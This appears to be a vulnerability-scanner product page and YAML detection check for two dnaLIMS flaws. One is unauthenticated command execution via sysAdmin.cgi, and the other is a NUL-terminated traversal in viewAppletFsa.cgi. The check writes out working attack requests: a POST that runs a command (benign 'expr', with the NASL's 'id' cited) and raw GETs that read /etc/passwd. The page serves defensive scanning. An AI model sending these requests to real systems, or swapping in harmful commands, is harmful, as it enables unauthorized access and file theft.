dnaLIMS — 1 vulnerability check

noctis ships 1 vulnerability check for dnaLIMS, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

dnaLIMS sysAdmin.cgi Unauthenticated Command Execution and viewAppletFsa.cgi Directory Traversal

CVECVE-2017-6526, CVE-2017-6527
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match, tcp_connect · highest QoD 97
Feedtests/vulnerabilities/dnalims/dnalims-sysadmin-shell-traversal.yaml

Detects two unauthenticated flaws in the dnaTools dnaLIMS laboratory information system. The administrative web shell /cgi-bin/dna/sysAdmin.cgi runs a command when it receives a POST request, without checking the session (CVE-2017-6526): the test POSTs Action=executeCmd with executeCmdData=`expr <a> + <b>` built from per-run random operands and requires the computed sum in the response, which only a real command execution can produce. Independently, the seqID parameter of /cgi-bin/dna/viewAppletFsa.cgi accepts a NUL-terminated relative path (CVE-2017-6527): the test requests ../../…/etc/passwd%00 and, when a passwd root entry comes back, sends the same request for an absent file in a random missing directory; the traversal is reported only when that control gets an HTTP reply without passwd content, so a server that answers every path with the same file is not reported. Nothing is written on the target.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /cgi-bin/dna/sysAdmin.cgi with a crafted body
  3. Checks cmd.body for [0-9]{7} → finding QoD 97: dnaLIMS sysAdmin.cgi Unauthenticated Command Execution (CVE-2017-6526)
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET /cgi-bin/dna/viewAppletFsa.cgi?seqID=../../../../../../../../../../etc/passwd%00 HTTP…
  5. Checks trav.banner for root:[^:\r\n]*:0:0:
  6. Raw TCP (TLS on HTTPS), sent verbatim: GET /cgi-bin/dna/viewAppletFsa.cgi?seqID=../../../../../../../../../../noctis-absent-{{oo…
  7. Parses / computes the next value with a Rhai script
  8. Checks trav_file for ^/etc/passwd$ → finding QoD 75: dnaLIMS viewAppletFsa.cgi Directory Traversal (CVE-2017-6527)

References:

Feed source — tests/vulnerabilities/dnalims/dnalims-sysadmin-shell-traversal.yaml
# dnaTools dnaLIMS (4-2015s13) — unauthenticated command execution through the
# administrative web shell cgi-bin/dna/sysAdmin.cgi (CVE-2017-6526) and
# NUL-terminated directory traversal in viewAppletFsa.cgi seqID
# (CVE-2017-6527).
#
# Ported from OpenVAS/Greenbone NVT `2017/gb_dnaLIMS_96823.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.140183, GPL-2.0-only). The NASL POSTs
#   investigator=&username=&navUserName=&Action=executeCmd&executeCmdData=id
# to /cgi-bin/dna/sysAdmin.cgi and requires `uid=…gid=…` and `>id<` in the
# reply. It tracks CVE-2017-6526..6529 (BID 96823, Shorebreak PSA0002 /
# VU#929263); only 6526 is probed. 6528 (plaintext /home/dna/spool/.pfile) and
# 6529 (guessable UID session) are not probed here: reading the password file
# or hijacking a session would expose live secrets.
#
# Detection:
#   1. Command execution (CVE-2017-6526, QoD 97): executeCmdData is the whole
#      command line of the web shell, so the test runs `expr <a> + <b>` with
#      per-run random operands in 500000..999999 and requires the 7-digit sum,
#      not adjacent to other digits, in the reply. expr is a standalone binary,
#      so the proof works whether the shell CGI passes the line to /bin/sh or
#      execs it directly. The sum never appears in the request, so a page that
#      echoes the command cannot produce it. Nothing is written.
#   2. Directory traversal (CVE-2017-6527, QoD 75): GET
#      viewAppletFsa.cgi?seqID=<../ x10>etc/passwd%00 sent verbatim with
#      tcp_connect (reqwest would normalise the path), passwd line required in
#      the reply. Sent independently of step 1, so each CVE is reported on its
#      own finding (step-level `cves:`). Absent-file control (#2383): after a
#      hit, seqID=<../ x10>noctis-absent-<random>/etc/passwd%00 is requested
#      and the finding is raised only when that control gets an HTTP reply
#      without passwd content (fail closed).
#
# Deviations from the NASL (intentional, better coverage):
#   - Benign arithmetic marker instead of `id` output; no dependency on the
#     `>id<` page shape.
#   - The traversal CVE-2017-6527, which the NASL lists but never tests, is
#     probed and reported separately.
#
# CVSS: NVD v3.0 — 9.8 for CVE-2017-6526, 7.5 for CVE-2017-6527.
uid: 019d2824-53c1-4a10-a107-9db7b3ef0f14
name: "dnaLIMS sysAdmin.cgi Unauthenticated Command Execution and viewAppletFsa.cgi Directory Traversal"
description: |
  Detects two unauthenticated flaws in the dnaTools dnaLIMS laboratory
  information system. The administrative web shell /cgi-bin/dna/sysAdmin.cgi
  runs a command when it receives a POST request, without checking the
  session (CVE-2017-6526): the test POSTs Action=executeCmd with
  executeCmdData=`expr <a> + <b>` built from per-run random operands and
  requires the computed sum in the response, which only a real command
  execution can produce. Independently, the seqID parameter of
  /cgi-bin/dna/viewAppletFsa.cgi accepts a NUL-terminated relative path
  (CVE-2017-6527): the test requests ../../…/etc/passwd%00 and, when a passwd
  root entry comes back, sends the same request for an absent file in a
  random missing directory; the traversal is reported only when that control
  gets an HTTP reply without passwd content, so a server that answers every
  path with the same file is not reported. Nothing is written on the target.
cves: [CVE-2017-6526, CVE-2017-6527]
cvss: 9.8
severity: critical
confidence_base: 0.20
category: rce
tags: [dnalims, dnatools, lims, cgi, command-execution, web-shell, path-traversal, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-6526"
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-6527"
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-6528"
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-6529"
  - "https://www.exploit-db.com/exploits/41578/"
  - "https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/"
  - "http://www.securityfocus.com/bid/96823"

steps:
  # Per-run operands; proof = their 7-digit sum.
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(500000, 999999);
      let b = rand_int(500000, 999999);
      #{ a: a, b: b, sum: "" + (a + b) }
    store_as: proof

  - id: init-cmd
    action: set_var
    var_name: cmd
    var_value: {status: 0, body: null}

  # NASL request shape, `id` swapped for the arithmetic proof:
  #   + = space   %2B = +
  - id: exec-cmd
    action: http_request
    method: POST
    port: "{{port}}"
    path: "/cgi-bin/dna/sysAdmin.cgi"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "investigator=&username=&navUserName=&Action=executeCmd&executeCmdData=expr+{{proof.a}}+%2B+{{proof.b}}"
    store_as: cmd

  - id: confirm-exec
    action: match
    source: cmd.body
    pattern: "[0-9]{7}"
    condition: "type_of(cmd.body) == \"string\" && ereg(\"(^|[^0-9])\" + proof.sum + \"([^0-9]|$)\", cmd.body)"
    on_match:
      finding:
        cves: [CVE-2017-6526]
        cvss: 9.8
        severity: critical
        title: "dnaLIMS sysAdmin.cgi Unauthenticated Command Execution (CVE-2017-6526)"
        confidence_delta: 0.75
        qod: 97
        evidence: "dnaLIMS web shell executed a command without authentication: POST /cgi-bin/dna/sysAdmin.cgi (Action=executeCmd, executeCmdData=expr {{proof.a}} + {{proof.b}}) returned the computed sum {{proof.sum}}"
        remediation: "Remove or firewall cgi-bin/dna/sysAdmin.cgi, restrict the dnaLIMS web interface to trusted networks and contact dnaTools for a fixed release."

  - id: init-trav
    action: set_var
    var_name: trav
    var_value: {connected: false, banner: null}

  - id: init-trav-ctrl
    action: set_var
    var_name: trav_ctrl
    var_value: {connected: false, banner: null}

  - id: init-trav-file
    action: set_var
    var_name: trav_file
    var_value: ""

  - id: init-trav-clean
    action: set_var
    var_name: trav_clean
    var_value: false

  # NUL-terminated traversal, sent verbatim (no client-side path normalisation).
  - id: traversal
    action: tcp_connect
    port: "{{port}}"
    send: "GET /cgi-bin/dna/viewAppletFsa.cgi?seqID=../../../../../../../../../../etc/passwd%00 HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    store_as: trav

  # No finding here: the reply carries the passwd file. The finding is raised
  # below once the absent-file control is clean.
  - id: confirm-traversal
    action: match
    source: trav.banner
    pattern: "root:[^:\\r\\n]*:0:0:"
    condition: "type_of(trav.banner) == \"string\""
    on_match:
      set_vars:
        trav_file: "/etc/passwd"

  # ── Control: same traversal, absent file ──
  # A random missing directory, still ending in etc/passwd, so a honeypot that
  # keys a fake file on that name answers it too. dnaLIMS answers 404.
  - id: traversal-control
    action: tcp_connect
    port: "{{port}}"
    condition: 'trav_file != ""'
    send: "GET /cgi-bin/dna/viewAppletFsa.cgi?seqID=../../../../../../../../../../noctis-absent-{{oob_token}}/etc/passwd%00 HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    store_as: trav_ctrl

  # Fail closed: the control must have answered over HTTP, without passwd content.
  - id: traversal-control-verdict
    action: script
    condition: 'trav_file != ""'
    code: |
      let b = trav_ctrl.banner;
      type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("root:[^:\\r\\n]*:0:0:", b)
    store_as: trav_clean

  - id: report-traversal
    action: match
    source: trav_file
    pattern: "^/etc/passwd$"
    condition: "trav_clean == true"
    on_match:
      finding:
        cves: [CVE-2017-6527]
        cvss: 7.5
        severity: high
        title: "dnaLIMS viewAppletFsa.cgi Directory Traversal (CVE-2017-6527)"
        confidence_delta: 0.55
        qod: 75
        evidence: "dnaLIMS viewAppletFsa.cgi returned /etc/passwd content for seqID=../../../../../../../../../../etc/passwd%00 (unauthenticated NUL-terminated traversal); the same request for an absent file did not"
        remediation: "Restrict the dnaLIMS web interface to trusted networks and contact dnaTools for a fixed release."

View these feeds on GitHub